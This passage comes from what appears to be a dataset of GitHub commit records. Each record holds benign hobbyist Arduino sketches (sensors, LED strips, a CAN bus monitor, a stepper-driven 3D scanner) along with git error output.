2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/recursinging\/ruitar.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"232b6df6f77bdd5792bb74af8af4e2275f258a43","subject":"Create serial.ino","message":"Create serial.ino\n\nconnected to sensors","repos":"kilbyjmichael\/pi_temp","old_file":"serial.ino","new_file":"serial.ino","new_contents":"#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/ Data wire is plugged into port 2 on the Arduino\n#define ONE_WIRE_BUS 10\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature sensors(&oneWire);\n\n\/*\n * The setup function. We only start the sensors here\n *\/\nvoid setup(void)\n{\n \/\/ start serial port\n Serial.begin(9600);\n \/\/ Start up the library\n sensors.begin();\n}\n\n\/*\n * Main function, get and show the temperature\n *\/\nvoid loop(void)\n{ \n sensors.requestTemperatures(); \/\/ Send the command to get temperatures\n \/\/ After we got the temperatures, we can print them here.\n \/\/ We use the function ByIndex, and as an example get the temperature from the first sensor only.\n Serial.println(sensors.getTempFByIndex(0));\n delay(5000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e9bc34730eebbfad497a1eee89bcebbfd0fca03","subject":"update the code","message":"update the code\n","repos":"JulienGenoud\/SuperCarMapping,JulienGenoud\/SuperCarMapping","old_file":"hardware\/IOT_BJTU.ino","new_file":"hardware\/IOT_BJTU.ino","new_contents":"\/*********************************************************************\nGuigur 2016\n*********************************************************************\/\n\n#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_HMC5883_U.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n#include <NewPing.h>\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\n#define NUMFLAKES 10\n#define XPOS 0\n#define YPOS 1\n#define DELTAY 2\n\n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\nAdafruit_HMC5883_Unified mag = Adafruit_HMC5883_Unified(12345);\nNewPing sonar(12, 11, 500); \/\/ trigger, echo, max\n\nvoid displaySensorDetails(void)\n{\n sensor_t sensor;\n mag.getSensor(&sensor);\n Serial.println(\"------------------------------------\");\n Serial.print (\"Sensor: \"); Serial.println(sensor.name);\n Serial.print (\"Driver Ver: \"); Serial.println(sensor.version);\n Serial.print (\"Unique ID: \"); Serial.println(sensor.sensor_id);\n Serial.print (\"Max Value: \"); Serial.print(sensor.max_value); Serial.println(\" uT\");\n Serial.print (\"Min Value: \"); Serial.print(sensor.min_value); Serial.println(\" uT\");\n Serial.print (\"Resolution: \"); Serial.print(sensor.resolution); Serial.println(\" uT\"); \n Serial.println(\"------------------------------------\");\n Serial.println(\"\");\n delay(500);\n}\n\nvoid setup()\n{ \n Serial.begin(115200);\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/addr on the i2c bus\n if(!mag.begin())\n {\n Serial.println(\"Ooops, no HMC5883 detected ... Check your wiring!\");\n while(1);\n }\n}\n\nvoid loop()\n{\n display.clearDisplay();\n display.setCursor(0,0);\n\n Serial.print(\"Distance: \");\n Serial.print(sonar.ping_cm());\n Serial.println(\"cm\");\n \n display.setTextSize(2);\n display.setTextColor(WHITE);\n display.println(\"Distance\");\n display.print(sonar.ping_cm(), DEC);\n display.println(\" cm\");\n display.display();\n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/IOT_BJTU.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dbeeff72df74cbc891176da551804e8abd93d16d","subject":"first steps","message":"first steps\n\nnothing really tested but it's a start\n","repos":"dmartinpro\/ardu-gi,dmartinpro\/ardu-gi","old_file":"sketches\/gear_indicator\/gear_indicator.ino","new_file":"sketches\/gear_indicator\/gear_indicator.ino","new_contents":"\/*\n* Gear Indicator\n* Could be used alone or with Arduino DataLogger\n* Some useful information about Aprilia RSV\/SL bikes work: (See: http:\/\/www.aprilia-v60.com\/index.php?topic=262315)\n* - Speed sensor: purple\/green wire=Vcc ~ 9V ? \/ grey\/white: signal ~6.5V, falling to 0V\n* - Engine pulses\/revolution: 3 if read from the dashboard wire\n* - Engine pulses\/revolution: 6 if crank shaft sensor is used\n* - Wheel pulses\/revolution: 5\n*\/\n\n#define ENGINE_PULSES_PER_REVOLUTION 3\n#define WHEEL_PULSES_PER_REVOLUTION 5\n\n#define TIME_LAPSE 100\n\nvolatile byte engine_pulses;\nvolatile byte wheel_pulses;\n\nunsigned int engine_rpm;\nunsigned int wheel_rpm;\nunsigned float ratio;\n\nunsigned long lastmillis;\n\nvoid setup() {\n Serial.begin(9600);\n\n attachInterrupt(0, rpm_counter, FALLING);\n attachInterrupt(1, speed_counter, FALLING);\n\n engine_pulses = 0;\n wheel_pulses = 0;\n engine_rpm = 0;\n wheel_rpm = 0;\n ratio = 0;\n\n lastmillis = 0;\n}\n\n\/**\n * Every n-th ms, measure the engine revolutions per minutes as well as the rear wheel revolutions per minutes\n * Then, measure the ratio between the two in order to determine which gear is currently used.\n * Write theses values in a file stored on the SD card\n * Update the screen (LCD will be used during the tests, then a 7-segments display)\n * Send all the data using I2C protocol\n *\/\nvoid loop() {\n\n long current_time_lapse = millis() - lastmillis;\n if (current_time_lapse >= TIME_LAPSE) {\n detachInterrupt(0);\n detachInterrupt(1);\n\n engine_rpm = (60\/ENGINE_PULSES_PER_REVOLUTION)*1000\/(current_time_lapse) * engine_pulses;\n wheel_rpm = (60\/WHEEL_PULSES_PER_REVOLUTION)*1000\/(current_time_lapse) * wheel_pulses;\n ratio = engine_rpm\/wheel_rpm;\n engine_pulses = 0;\n wheel_pulses = 0;\n\n lastmillis = millis();\n\n attachInterrupt(0, rpm_counter, FALLING);\n attachInterrupt(1, speed_counter, FALLING);\n }\n \n}\nvoid rpm_counter() {\n engine_pulses++;\n}\n\nvoid speed_counter() {\n wheel_pulses++;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/gear_indicator\/gear_indicator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cf1fbfaddfedb0688b2b5d89ebab27d251fd1a5e","subject":"Add: example to receive all frames and print all fields id\/type\/data","message":"Add: example to receive all frames and print all fields id\/type\/data\n","repos":"Seeed-Studio\/CAN_BUS_Shield,Seeed-Studio\/CAN_BUS_Shield","old_file":"examples\/receive_monitor\/receive_monitor.ino","new_file":"examples\/receive_monitor\/receive_monitor.ino","new_contents":"\/*\n * demo: CAN-BUS Shield, receive all frames and print all fields id\/type\/data\n * to receive frame fastly, a poll in loop() is required.\n *\n * Copyright (C) 2020 Seeed Technology Co.,Ltd.\n *\/\n#include <SPI.h>\n\n\/*SAMD core*\/\n#ifdef ARDUINO_SAMD_VARIANT_COMPLIANCE\n #define SERIAL SerialUSB\n#else\n #define SERIAL Serial\n#endif\n\n#define CAN_2515\n\/\/ #define CAN_2518FD\n\n\/\/ the cs pin of the version after v1.1 is default to D9\n\/\/ v0.9b and v1.0 is default D10\n\n\/\/ Set SPI CS Pin according to your hardware\n\/\/ For Wio Terminal w\/ MCP2518FD RPi Hat\uff1a\n\/\/ Channel 0 SPI_CS Pin: BCM 8\n\/\/ Channel 1 SPI_CS Pin: BCM 7\n\/\/ Interupt Pin: BCM25\n\/\/ *****************************************\n\/\/ For Arduino MCP2515 Hat:\n\/\/ SPI_CS Pin: D9\n\n#ifdef CAN_2518FD\n#include \"mcp2518fd_can.h\"\nconst int SPI_CS_PIN = 9;\nconst int CAN_INT_PIN = 2;\nmcp2518fd CAN(SPI_CS_PIN); \/\/ Set CS pin\n#define MAX_DATA_SIZE 64\n#endif\n\n#ifdef CAN_2515\n#include \"mcp2515_can.h\"\nconst int SPI_CS_PIN = 9;\nconst int CAN_INT_PIN = 2;\nmcp2515_can CAN(SPI_CS_PIN); \/\/ Set CS pin\n#define MAX_DATA_SIZE 8\n#endif\n\nvoid setup() {\n SERIAL.begin(115200);\n\n#ifdef CAN_2518FD\n while (0 != CAN.begin((byte)CAN_500K_1M)) { \/\/ init can bus : baudrate = 500k\n#else\n while (CAN_OK != CAN.begin(CAN_500KBPS)) { \/\/ init can bus : baudrate = 500k\n#endif\n SERIAL.println(\"CAN BUS Shield init fail\");\n SERIAL.println(\" Init CAN BUS Shield again\");\n delay(100);\n }\n SERIAL.println(\"CAN BUS Shield init ok!\");\n}\n\nuint32_t id;\nuint8_t type; \/\/ bit0: ext, bit1: rtr\nuint8_t len;\nbyte cdata[MAX_DATA_SIZE] = {0};\n\nvoid loop() {\n \/\/ check if data coming\n if (CAN_MSGAVAIL != CAN.checkReceive()) {\n return;\n }\n\n char prbuf[0x40];\n int i, n;\n\n unsigned long t = millis();\n \/\/ read data, len: data length, buf: data buf\n CAN.readMsgBuf(&len, cdata);\n\n id = CAN.getCanId();\n type = (CAN.isExtendedFrame() << 0) |\n (CAN.isRemoteRequest() << 1);\n \/*\n * MCP2515(or this driver) could not handle properly\n * the data carried by remote frame\n *\/\n\n n = sprintf(prbuf, \"%04lu.%03d \", t \/ 1000, int(t % 1000));\n \/* Displayed type:\n *\n * 0x00: standard data frame\n * 0x02: extended data frame\n * 0x30: standard remote frame\n * 0x32: extended remote frame\n *\/\n static const byte type2[] = {0x00, 0x02, 0x30, 0x32};\n n += sprintf(prbuf + n, \"RX: [%08lX](%02X) \", (unsigned long)id, type2[type]);\n \/\/ n += sprintf(prbuf, \"RX: [%08lX](%02X) \", id, type);\n\n for (i = 0; i < len; i++) {\n n += sprintf(prbuf + n, \"%02X \", cdata[i]);\n }\n SERIAL.println(prbuf);\n}\n\/\/ END FILE\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/receive_monitor\/receive_monitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1719d7fcf46501fcb21c8915a4938a95ab853b2d","subject":"Created a new overall project sketch that utilizes the new gyro (not yet tested)","message":"Created a new overall project sketch that utilizes the new gyro (not yet tested)\n","repos":"haydenridd\/LEDProject","old_file":"SpinCode_2p0\/SpinCode_2p0.ino","new_file":"SpinCode_2p0\/SpinCode_2p0.ino","new_contents":"#include <Wire.h> \n\n\/\/ Masking Defs\n#define BIT_MASK 8191 \/\/ 13 bits, all ones\n#define EIGHT_BIT_MAX 255 \/\/ 8 bits, all ones, the maximum value the LED would take (255), used for flipping ranges \n#define ABS_MASK 32767 \/\/ 15 bits, all ones, && with 16 bit signed integer to take off sign bit\n#define QUARTER ABS_MASK >> 2 \/\/ 15 bits all ones divided by 4\n#define HALF ABS_MASK >> 1 \/\/ 15 bits all ones divided by 2\n#define THREE_QUARTER QUARTER + HALF \/\/ summed together to produce 3\/4\n#define SHIFT_NUM 6 \/\/ right shifting the masked accelerometer data by this number will change the range to 0 -> 127\n\n#define r 10\n#define g 12\n#define b 9\n\n#define ITG3701_CONFIG 0x1A\n#define ITG3701_GYRO_CONFIG 0x1B\n#define ITG3701_INT_PIN_CFG 0x37\n#define ITG3701_INT_ENABLE 0x38\n#define ITG3701_GYRO_ZOUT_H 0x47\n#define ITG3701_GYRO_ZOUT_L 0x48\n#define ITG3701_USER_CTRL 0x6A \n#define ITG3701_PWR_MGMT_1 0x6B \/\/ Device defaults to the SLEEP mode\n#define ITG3701_PWR_MGMT_2 0x6C\n#define ITG3701_WHO_AM_I 0x75 \/\/ Should return 0x68\n#define ITG3701_ADDRESS 0x68\n\nlong sum;\nint accel_in = 0;\nint masked_in;\nint calVal; \/\/ Gyroscope DC Offset Calibration Value\n\nvoid setup()\n{\n pinMode(r,OUTPUT);\n pinMode(g,OUTPUT);\n pinMode(b,OUTPUT); \n Wire.begin();\n initGyro();\n}\n\nvoid loop()\n{\n sum = 0;\n for(int i = 0; i < 8; i++)\n { sum = sum + readGyro();\n delay(1);\n }\n sum = sum >> 3;\n accel_in = (int)sum;\n\nmasked_in = accel_in & BIT_MASK; \/\/ 13 bit mask of accelerometer data\n \nif(accel_in < QUARTER){ \/\/ first quarter of accelerometer range\nanalogWrite(r,0);\nanalogWrite(g,masked_in >> SHIFT_NUM); \/\/ green ranges 0 -> 127\nanalogWrite(b,EIGHT_BIT_MAX - ( masked_in >> SHIFT_NUM)); \/\/ blue ranges 255 -> 128\n}\nelse if(accel_in < HALF){ \/\/ second quarter of accelerometer range\nanalogWrite(r,0);\nanalogWrite(g,(EIGHT_BIT_MAX >> 1) + (masked_in >> SHIFT_NUM)); \/\/ green ranges 128 -> 255\nanalogWrite(b,(EIGHT_BIT_MAX >> 1) - (masked_in >> SHIFT_NUM)); \/\/ blue ranges 127 -> 0\n}\nelse if(accel_in < THREE_QUARTER){\/\/ third quarter of accelerometer range\nanalogWrite(r,masked_in >> SHIFT_NUM); \/\/ red ranges 0 -> 127\nanalogWrite(g,EIGHT_BIT_MAX - ( masked_in >> SHIFT_NUM)); \/\/ green ranges 255 -> 128\nanalogWrite(b,0);\n}\nelse{ \/\/ final quarter of accelerometer range\nanalogWrite(r,(EIGHT_BIT_MAX >> 1) + (masked_in >> SHIFT_NUM)); \/\/ red ranges 128 -> 255\nanalogWrite(g,(EIGHT_BIT_MAX >> 1) - (masked_in >> SHIFT_NUM)); \/\/ green ranges 127 -> 0\nanalogWrite(b,0);\n}\n\n}\n\n\nint readGyro(void)\n{ \n byte z_High = read8(ITG3701_GYRO_ZOUT_H);\n byte z_Low = read8(ITG3701_GYRO_ZOUT_L);\n \n return abs(((int)z_High << 8 | z_Low)-calVal);\n}\n\nvoid initGyro(void)\n{ \n write8(ITG3701_PWR_MGMT_1,0x81); \/\/ Reset the device to put all registers back to default values\n delay(100);\n write8(ITG3701_PWR_MGMT_1,0x09); \/\/ Disable the temp sensor and set the PLL as the clock source \n write8(ITG3701_PWR_MGMT_2,0x06); \/\/ Disable the x and y axis\n write8(ITG3701_INT_ENABLE,0x01); \/\/ Enable the data ready interrupt\n write8(ITG3701_INT_PIN_CFG,0x20); \/\/ Set interrupt status bits to clear on a read of INT_STATUS (also set INT to latch active high push pull and disable F_SYNC) \n write8(ITG3701_GYRO_CONFIG,0x18); \/\/ Set the FSR to 4000 dps\n write8(ITG3701_CONFIG,0x00); \/\/ Set sample rate to 8kHz and the bandwidth to 250Hz (delay 0.97ms)\n delay(100);\n long sum = 0;\n for(int i = 128; i > 0; i--) \/\/ Take 128 readings from the Gyro\n { \n sum = sum + ((int)read8(ITG3701_GYRO_ZOUT_H) << 8 | read8(ITG3701_GYRO_ZOUT_L));\n delay(1);\n }\n sum = sum >> 7; \/\/ Divide by 128\n calVal = sum; \/\/ Set the global cal value to match calibration\n\n}\n\nbyte read8(byte reg)\n{ byte value;\n Wire.beginTransmission(ITG3701_ADDRESS);\n Wire.write((byte)reg);\n Wire.endTransmission();\n Wire.requestFrom(ITG3701_ADDRESS, (byte)1);\n value = Wire.read();\n Wire.endTransmission();\n\n return value;\n}\n\nvoid write8(byte reg, byte value)\n{\n Wire.beginTransmission(ITG3701_ADDRESS);\n Wire.write((byte)reg);\n Wire.write(value);\n Wire.endTransmission();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SpinCode_2p0\/SpinCode_2p0.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fcc8b7b9c82bf337a21b3a4268e10ddff2b23a5a","subject":"register durcheinander","message":"register durcheinander\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"TMC5031_Test\/TMC5031_Test.ino","new_file":"TMC5031_Test\/TMC5031_Test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"6f4b297cdd2fbe033ba3d8d58a7c602d0f16afc5","subject":"Add files via upload","message":"Add files via upload\n\nInitial commit","repos":"bruinracing\/DAQ2017,bruinracing\/DAQ2017","old_file":"src\/sketch_jan20a.ino","new_file":"src\/sketch_jan20a.ino","new_contents":"int lastInterruptIndex = -1;\nchar InterruptLog[1024] = {0};\n\n\nvoid setup()\n{\n Serial.begin(9600);\n Serial.println(\"i am 12 and wat is this\");\n InitialiseIO();\n InitialiseInterrupt();\n Serial.println(\"Jonathan is blind\");\n}\n\nvoid loop() {\n \/* Nothing to do: the program jumps automatically to Interrupt Service Routine \"blink\"\n in case of a hardware interrupt *\/\n int wut = 0;\n\n delay(1000);\n for( int i = 0; i < lastInterruptIndex; i++){\n Serial.println(InterruptLog[i], HEX);\n }\n\n wut = analogRead(A0);\n Serial.println(A0);\n} \n\nvoid InitialiseIO(){\n \/*pinMode(A0, INPUT); \/\/ Pin A0 is input to which a switch is connected\n digitalWrite(A0, HIGH); \/\/ Configure internal pull-up resistor\n pinMode(A1, INPUT); \/\/ Pin A1 is input to which a switch is connected\n digitalWrite(A1, HIGH); \/\/ Configure internal pull-up resistor\n pinMode(A2, INPUT); \/\/ Pin A2 is input to which a switch is connected\n digitalWrite(A2, HIGH); \/\/ Configure internal pull-up resistor\n *\/\n}\n\nvoid InitialiseInterrupt(){\n cli(); \/\/ switch interrupts off while messing with their settings \n PCICR =0x02; \/\/ Enable PCINT1 interrupt\n PCMSK1 = 0b00000111;\n sei(); \/\/ turn interrupts back on\n}\n\nISR(PCINT1_vect) { \/\/ Interrupt service routine. Every single PCINT8..14 (=ADC0..5) change\n \/\/ will generate an interrupt: but this will always be the same interrupt routine\n volatile char store = 0x0;\n\n if (digitalRead(A0)==0){\n store += 0x1;\n Serial.println(\"A0\");\n }\n\n if (digitalRead(A1)==0){\n store += 0x2;;\n Serial.println(\"A1\");\n }\n\n if (digitalRead(A2)==0) {\n store += 0x4;\n Serial.println(\"A2\");\n }\n\n if (store > 0x0){\n lastInterruptIndex++;\n InterruptLog[lastInterruptIndex] = store;\n } \n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/sketch_jan20a.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4ee4c7354c4e091dcfe7b5caa786678faabc6a16","subject":"initial code","message":"initial code\n","repos":"whitews\/super-freq,whitews\/super-freq","old_file":"super_freq.ino","new_file":"super_freq.ino","new_contents":"#define LIN_OUT 1 \/\/ use the log output function\n#define FFT_N 128 \/\/ set number of FFT points\n\n#include <math.h>\n#include <FFT.h>\n#include \"LPD8806.h\"\n#include \"SPI.h\"\n\nint peak_index;\nint max_value;\nint sum_fft;\nfloat frequency;\nfloat SAMPLE_RATE = 9600.0;\nint SKIP_MULT = 16;\nint MAX_FFT_BIN = 16383;\nint brightness_mult;\n\nfloat base_freak = SAMPLE_RATE \/ FFT_N \/ 2;\n\n\/\/ Number of RGB LEDs in strand:\nint nLEDs = 32;\n\n\/\/ Chose 2 pins for output; can be any valid output pins:\nint dataPin = 2;\nint clockPin = 3;\n\n\/\/ First parameter is the number of LEDs in the strand. The LED strips\n\/\/ are 32 LEDs per meter but you can extend or cut the strip. Next two\n\/\/ parameters are SPI data and clock pins:\nLPD8806 strip = LPD8806(nLEDs, dataPin, clockPin);\n\nvoid setup() {\n Serial.begin(9600);\n TIMSK0 = 0; \/\/ turn off timer0 for lower jitter\n ADCSRA = 0xe5; \/\/ set the adc to free running mode \n ADMUX = 0x40; \/\/ use adc0\n DIDR0 = 0x01; \/\/ turn off the digital input for adc0\n\n \/\/ Start up the LED strip\n strip.begin();\n\n \/\/ Update the strip, to start they are all 'off'\n strip.show();\n}\n\nvoid calculateFFT() {\n for (int i = 0 ; i < FFT_N * 2; i += 2) { \/\/ save samples\n \/* \n * sample at slower rate, minimum sample rate is 9.6 kHz\n * so reduce sample rate by skipping ADC read cycles by \n * SKIP_MULT\n *\/\n for (int j = 0; j < SKIP_MULT; j++) {\n while(!(ADCSRA & 0x10)); \/\/ wait for adc to be ready\n ADCSRA = 0xf5; \/\/ restart adc\n }\n\n byte m = ADCL; \/\/ fetch adc data\n byte j = ADCH;\n int k = (j << 8) | m; \/\/ form into an int\n k -= 0x0200; \/\/ form into a signed int\n k <<= 6; \/\/ form into a 16b signed int\n fft_input[i] = k; \/\/ put real data into even bins\n fft_input[i+1] = 0; \/\/ set odd bins to 0\n }\n fft_window(); \/\/ window the data for better frequency response\n fft_reorder(); \/\/ reorder the data before doing the fft\n fft_run(); \/\/ process the data in the fft\n fft_mag_lin(); \/\/ take the output of the fft\n}\n\n\/\/ Fill the dots progressively along the strip.\nvoid setColor(uint32_t c) {\n int i;\n\n for (i=0; i < strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n }\n}\n\nvoid loop() {\n \/\/cli(); \n calculateFFT(); \/\/ result is placed in fft_log_out\n \/\/sei();\n\n peak_index = 0;\n max_value = 0;\n sum_fft = 0;\n\n for (int i=0; i < (FFT_N \/ 2); i++) {\n if (max_value < fft_lin_out[i]) {\n \/\/ peak index determines frequency\n peak_index = i;\n max_value = fft_lin_out[i];\n }\n if (i > 0) {\n \/\/ sum of all bins determines brightness\n sum_fft += fft_lin_out[i];\n }\n }\n\n frequency = (peak_index * (SAMPLE_RATE \/ SKIP_MULT)) \/ (FFT_N \/ 4);\n brightness_mult = floor(95 * max_value \/ MAX_FFT_BIN);\n \n if (max_value < 80 || sum_fft < 400 || peak_index == 0) {\n \/\/ signal too weak or we got the 1st peak (0Hz), no lights\n setColor(strip.Color(0, 0, 0));\n } else if (frequency > 0 && frequency < base_freak * 2) {\n \/\/ red\n setColor(strip.Color(brightness_mult, 0, 0));\n }\n else if (frequency >= base_freak * 2 && frequency < (base_freak * 3)) {\n \/\/ yellow\n setColor(strip.Color( brightness_mult, brightness_mult, 0));\n }\n else if (frequency >= base_freak * 3 && frequency < (base_freak * 4)) {\n \/\/ green\n setColor(strip.Color( 0, brightness_mult, 0));\n }\n else if (frequency >= base_freak * 4 && frequency < base_freak * 5) {\n \/\/ cyan\n setColor(strip.Color( 0, brightness_mult, brightness_mult));\n }\n else if (frequency >= base_freak * 5 && frequency < base_freak * 6) {\n \/\/ blue\n setColor(strip.Color( 0, 0, brightness_mult));\n }\n else if (frequency >= base_freak * 6 && frequency < SAMPLE_RATE\/4) {\n \/\/ violence!!!\n setColor(strip.Color(brightness_mult, 0, brightness_mult));\n }\n \n Serial.print(\"FFT sum: \");\n Serial.print(sum_fft);\n Serial.print(\"\\tPeak index: \");\n Serial.print(peak_index);\n Serial.print(\"\\tMax value: \");\n Serial.print(max_value);\n Serial.print(\"\\tFrequency: \");\n Serial.println(frequency);\n\/\/ delay(30);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'super_freq.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"3d4a85238dfabb7913f59d3b9a60467f84802212","subject":"code arduino","message":"code arduino\n","repos":"fhennecker\/semiteleporter,fhennecker\/semiteleporter,fhennecker\/semiteleporter","old_file":"_3DScan.ino.ino","new_file":"_3DScan.ino.ino","new_contents":"\/*\n 3DScan\n H.P.\n *\/\nint Pin0 = 8;\nint Pin1 = 9;\nint Pin2 = 10;\nint Pin3 = 11;\nint _step = 0;\nint cmd=0;\nboolean dir = true;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(Pin0, OUTPUT); \n pinMode(Pin1, OUTPUT); \n pinMode(Pin2, OUTPUT); \n pinMode(Pin3, OUTPUT);\n pinMode(13, OUTPUT);\n\/\/ PIN 13 commands the lasers \n}\n\nvoid loop() {\n if (Serial.available()>0)\n { \n cmd=int(Serial.read())-48;\n \/\/cmd is an integer 0-9\n Serial.println(cmd);\n \/\/feedback a trace of the command\n switch(cmd){\n case 0:\n \/\/ lasers OFF\n digitalWrite(13, LOW);\n break;\n case 1:\n \/\/ lasers ON\n digitalWrite(13, HIGH);\n break;\n \n case 4:\n \/\/ change direction\n dir=! dir;\n break;\n \n case 5:\n \/\/ 1024 steps for a test\n for (int i=0;i<1024;i++) {\n step();\n delay(10); }\n break;\n \n case 9:\n \/\/ power off\n digitalWrite(Pin0, LOW); \n digitalWrite(Pin1, LOW);\n digitalWrite(Pin2, LOW);\n digitalWrite(Pin3, LOW);\n break;\n \n default:\n step();\n }\n } \n}\n\nvoid step() {\n \/\/implements a step within a 8 steps sequence\n switch(_step){\n case 0:\n digitalWrite(Pin0, LOW); \n digitalWrite(Pin1, LOW);\n digitalWrite(Pin2, LOW);\n digitalWrite(Pin3, HIGH);\n break; \n case 1:\n digitalWrite(Pin0, LOW); \n digitalWrite(Pin1, LOW);\n digitalWrite(Pin2, HIGH);\n digitalWrite(Pin3, HIGH);\n break; \n case 2:\n digitalWrite(Pin0, LOW); \n digitalWrite(Pin1, LOW);\n digitalWrite(Pin2, HIGH);\n digitalWrite(Pin3, LOW);\n break; \n case 3:\n digitalWrite(Pin0, LOW); \n digitalWrite(Pin1, HIGH);\n digitalWrite(Pin2, HIGH);\n digitalWrite(Pin3, LOW);\n break; \n case 4:\n digitalWrite(Pin0, LOW); \n digitalWrite(Pin1, HIGH);\n digitalWrite(Pin2, LOW);\n digitalWrite(Pin3, LOW);\n break; \n case 5:\n digitalWrite(Pin0, HIGH); \n digitalWrite(Pin1, HIGH);\n digitalWrite(Pin2, LOW);\n digitalWrite(Pin3, LOW);\n break; \n case 6:\n digitalWrite(Pin0, HIGH); \n digitalWrite(Pin1, LOW);\n digitalWrite(Pin2, LOW);\n digitalWrite(Pin3, LOW);\n break; \n case 7:\n digitalWrite(Pin0, HIGH); \n digitalWrite(Pin1, LOW);\n digitalWrite(Pin2, LOW);\n digitalWrite(Pin3, HIGH);\n break; \n default:\n digitalWrite(Pin0, LOW); \n digitalWrite(Pin1, LOW);\n digitalWrite(Pin2, LOW);\n digitalWrite(Pin3, LOW);\n break; \n }\n if(dir){\n _step++;\n }else{\n _step--;\n }\n if(_step>7){\n _step=0;\n }\n if(_step<0){\n _step=7;\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_3DScan.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"03a8c4edd521e729d2dc6eabd14b64e110dcd795","subject":"PrusaLights","message":"PrusaLights\n","repos":"AaronLieberman\/ArduinoTinkering,AaronLieberman\/ArduinoTinkering,AaronLieberman\/ArduinoTinkering,AaronLieberman\/ArduinoTinkering","old_file":"PrusaLights\/PrusaLights.ino","new_file":"PrusaLights\/PrusaLights.ino","new_contents":"#include <Arduino.h>\n#include <Adafruit_NeoPixel.h>\n\nconst int kLightsOnPin = 2;\n\nconst int kNeoPixelsPinA = 4;\nconst int kNumberOfPixelsA = 7;\nconst int kNeoPixelsPinB = 3;\nconst int kNumberOfPixelsB = 7;\n\nAdafruit_NeoPixel pixelsA(kNumberOfPixelsA, kNeoPixelsPinA, NEO_RGBW + NEO_KHZ800);\nAdafruit_NeoPixel pixelsB(kNumberOfPixelsB, kNeoPixelsPinB, NEO_RGBW + NEO_KHZ800);\n\nvoid setup()\n{\n\tSerial.begin(115200);\n\n\tpixelsA.begin();\n\tpixelsA.clear();\n\tpixelsB.begin();\n\tpixelsB.clear();\n\n\tpinMode(kLightsOnPin, INPUT);\n\n\tdelay(500);\n}\n\nvoid loop()\n{\n\tbool lightsOn = digitalRead(kLightsOnPin) == HIGH;\n\n\tconst int kLightsOffValue = 0;\n\tconst int kLightsOnValue = 255;\n\n\tif (lightsOn)\n\t{\n\t\tpixelsA.fill(0xffffffff, 0, kNumberOfPixelsA);\n\t\tpixelsB.fill(0xffffffff, 0, kNumberOfPixelsB);\n\t}\n\telse\n\t{\n\t\tpixelsA.clear();\n\t\tpixelsB.clear();\n\t}\n\n\tpixelsA.show();\n\tpixelsB.show();\n\n\tdelay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PrusaLights\/PrusaLights.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2c466c81174d942e6cdd0395b1e75bc93cf2b278","subject":"We need blinking and arduino code","message":"We need blinking and arduino code\n\nI hear the web needs more blink\n","repos":"1yvT0s\/illacceptanything,paladique\/illacceptanything,illacceptanything\/illacceptanything,ultranaut\/illacceptanything,TheWhiteLlama\/illacceptanything,ds84182\/illacceptanything,dushmis\/illacceptanything,caioproiete\/illacceptanything,ultranaut\/illacceptanything,tjhorner\/illacceptanything,tjhorner\/illacceptanything,dushmis\/illacceptanything,oneminot\/illacceptanything,ds84182\/illacceptanything,oneminot\/illacceptanything,1yvT0s\/illacceptanything,oneminot\/illacceptanything,TheWhiteLlama\/illacceptanything,TheWhiteLlama\/illacceptanything,caioproiete\/illacceptanything,caioproiete\/illacceptanything,dushmis\/illacceptanything,illacceptanything\/illacceptanything,1yvT0s\/illacceptanything,paladique\/illacceptanything,illacceptanything\/illacceptanything,ultranaut\/illacceptanything,dushmis\/illacceptanything,paladique\/illacceptanything,JeffreyCA\/illacceptanything,illacceptanything\/illacceptanything,triggerNZ\/illacceptanything,ultranaut\/illacceptanything,JeffreyCA\/illacceptanything,paladique\/illacceptanything,TheWhiteLlama\/illacceptanything,triggerNZ\/illacceptanything,1yvT0s\/illacceptanything,ds84182\/i